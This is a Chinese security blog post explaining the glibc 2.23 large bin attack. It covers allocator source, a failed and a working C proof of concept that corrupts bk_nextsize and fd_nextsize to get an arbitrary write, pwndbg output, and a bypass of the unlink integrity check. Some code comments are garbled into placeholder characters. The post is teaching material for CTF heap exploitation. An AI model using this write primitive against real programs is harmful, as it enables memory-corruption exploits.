large bin的一个漏洞

Ex / 2019-04-28 08:26:00 / 浏览数 4969 安全技术 漏洞分析 顶(0) 踩(0)

这个漏洞是做一道pwn题发现的，觉得挺有意思的，所以本人在这里做个笔记。

实验环境是glibc-2.23，glibc-2.26及以上的库版本注意要先绕过tcache机制。

前导知识

malloc_chunk 的结构

```
/*
 This struct declaration is misleading (but accurate and necessary).
 It declares a "view" into memory allowing access to necessary
 fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

 INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
 INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

 struct malloc_chunk* fd;         /* double links -- used only if free. */
 struct malloc_chunk* bk;

 /* Only used for large blocks: pointer to next larger size.  */
 struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
 struct malloc_chunk* bk_nextsize;
};
```

部分字段的具体的解释如下：

fd_nextsize， bk_nextsize，也是只有 chunk 空闲的时候才使用，不过其用于较大的 chunk（large chunk）。

- fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块，不包含 bin 的头指针。
- bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块，不包含 bin 的头指针。
- 一般空闲的 large chunk 在 fd 的遍历顺序中，按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。

large bin

ptmalloc采用bins来管理空闲的chunk，在main_arena中有很多bin，每个large bin中存放一定范围内的chunk，其中的chunk 按 fd 指针的顺序从大到小排列。相同大小的chunk同样按照最近使用顺序排列。

> 注意物理地址相邻的两个chunk不能在一起。

源码分析

当分配一个chunk的时候会首先检查unsort bin中有没有合适的chunk，如果没有就将unsort bin里面的chunk脱链后加入到对应大小的bin中去，这里以large bin的插入为例：

glibc-2.23/malloc/malloc.c:3532

```
/* place chunk in bin */
// ■■■■small bin■■■■large bin■
if (in_smallbin_range (size))
{
 victim_index = smallbin_index (size);
 bck = bin_at (av, victim_index);
 fwd = bck->fd;
}
else
{
 victim_index = largebin_index (size);
 bck = bin_at (av, victim_index);
 fwd = bck->fd;
```

```
 /* maintain large bins in sorted order */
 if (fwd != bck)
   {
     /* Or with inuse bit to speed comparisons */
     size |= PREV_INUSE;
     /* if smaller than smallest, bypass loop below */
     assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
     if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
       {
         fwd = bck;
         bck = bck->bk;

         victim->fd_nextsize = fwd->fd;
         victim->bk_nextsize = fwd->fd->bk_nextsize;
         fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
       }
     else
       {
         assert ((fwd->size & NON_MAIN_ARENA) == 0);
         while ((unsigned long) size < fwd->size)
           {
             fwd = fwd->fd_nextsize;
             assert ((fwd->size & NON_MAIN_ARENA) == 0);
           }

         if ((unsigned long) size == (unsigned long) fwd->size)
           /* Always insert in the second position.  */
           fwd = fwd->fd;
         else
           {
             victim->fd_nextsize = fwd;
             victim->bk_nextsize = fwd->bk_nextsize;
             fwd->bk_nextsize = victim;
             victim->bk_nextsize->fd_nextsize = victim;
           }
         bck = fwd->bk;
       }
   }
 else
   victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
```

首先获取large bin的下标，得到对应large bin的指针。

glibc-2.23/malloc/malloc.c:3542

```
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
```

接下来设置fd_nextsize和bk_nextsize字段，其中victim是我们要插入的chunk。

glibc-2.23/malloc/malloc.c:3576

```
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;    //1
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim; //2
```

1■2■■■■■■fwd->bk_nextsize->fd_nextsize=victim。

glibc-2.23/malloc/malloc.c:3589

```
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
```

以上两个插入操作我们可以实现fwd->bk_nextsize->fd_nextsize=victim，fwd->bk=victim。也就是说当我们的large bin中只存在一个chunk的时候，我们通过堆溢出将bk_nextsize字段和bk字段设置为我们想要写入的地址，最后就可以实现任意地址写。

错误实例

```
#include <stdio.h>
#include <stdlib.h>

int main()
{
   long long x = 0;
   char *p, *q, *r, *s;

   p = malloc(0x500);
   // ■■■■
   malloc(0);
   q = malloc(0x510);
   // ■■■■
   malloc(0);

   // ■■Large bin■■■■■■
   // ■ FIFO■■■■■■■■■
   // ■■■■■
   free(p);
   free(q);

   // p■■■chunk■■■■largebin
   r = malloc(0x510); // q
   // q■■■chunk■■■unsortedbin
   free(r);

   // fwd->bk_nextsize->fd_nextsize=victim
   *(void **)(p - 16 + 40) = &x - 4;

   s = malloc(0);

   return 0;
}
```

该段代码虽然可以修改变量x的值，但是自己却无法通过glibc-2.23/malloc/malloc.c:3728中的unlink的双向链表完整性检查。

双向链表完整性检查

```
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
   malloc_printerr ("corrupted double-linked list (not small)");   \
```

调试结果如下：

```
Breakpoint /home/ex/glibc/glibc-2.23/malloc/malloc.c:3728
pwndbg> p *victim
$1 = {
 prev_size = 0,
 size = 1297,
 fd = 0x7ffff7dd5fa8 <main_arena+1160>,
 bk = 0x602530,
 fd_nextsize = 0x602000,
 bk_nextsize = 0x602530
}
pwndbg> p *(victim->fd_nextsize )
$2 = {
 prev_size = 0,
 size = 1297,
 fd = 0x7ffff7dd5fa8 <main_arena+1160>,
 bk = 0x602530,
```

```
 fd_nextsize = 0x602000,
 bk_nextsize = 0x602530
}
pwndbg> p *(victim->bk_nextsize )
$3 = {
 prev_size = 0,
 size = 1313,
 fd = 0x602000,
 bk = 0x7ffff7dd5fa8 <main_arena+1160>,
 fd_nextsize = 0x602000,
 bk_nextsize = 0x7fffffffe370
}
pwndbg> p *(victim->bk_nextsize->bk_nextsize )
$4 = {
 prev_size = 0,
 size = 0,
 fd = 0x7fffffffe3c0,
 bk = 0x400694 <main+158>,
 fd_nextsize = 0x602530,
 bk_nextsize = 0x602010
}
```

绕过unlink

在执行双向链表完整性检查之前，还有一个判断，我们可以用下面的判断来绕过unlink。

glibc-2.27/malloc/malloc.c:1414

```
if (!in_smallbin_range (chunksize_nomask (P))            \
       && __builtin_expect (P->fd_nextsize != NULL, 0)) {          \
   if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
 || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
    malloc_printerr ("corrupted double-linked list (not small)")
```

只要我们构造的chunk的fd_nextsize为NULL即可绕过。

正确实例

```
#include <stdio.h>
#include <stdlib.h>

int main()
{
   long long x = 0;
   char *p, *q, *r, *s;

   p = malloc(0x500);
   // ■■■■
   malloc(0);
   q = malloc(0x510);
   // ■■■■
   malloc(0);

   // ■■Large bin■■■■■■
   // ■ FIFO■■■■■■■■
   // ■■■■■
   free(p);
   free(q);

   // p■■■chunk■■■■largebin
   r = malloc(0x510); // q
   // q■■■chunk■■■unsortedbin
   free(r);

   fprintf(stderr, "x : %lld\n", x);

   // P->fd_nextsize=NULL
   *(void **)(p - 16 + 32) = NULL;
   // P->bk_nextsize->fd_nextsize=victim
   *(void **)(p - 16 + 40) = &x - 4;
```

```
    s = malloc(0);

    fprintf(stderr, "x : %lld\n", x);

    return 0;
}
```

运行实例

```
ex@ubuntu:~/test$ gcc main.c
ex@ubuntu:~/test$ ./a.out
x : 0
x : 20276528
```

总结

heap里面很多东西都是比较抽象的，但是通过调试能让我们更好的去理解它。

资料来源

1. https://blog.csdn.net/weixin_40850881/article/details/80293143
2. http://blog.eonew.cn/archives/709
3. http://blog.eonew.cn/archives/728

上一篇：内核漏洞挖掘技术系列(3)——bo... 下一篇：内核漏洞挖掘技术系列(3)——bo...

1. 0 条回复
   - 动动手指，沙发就是你的了！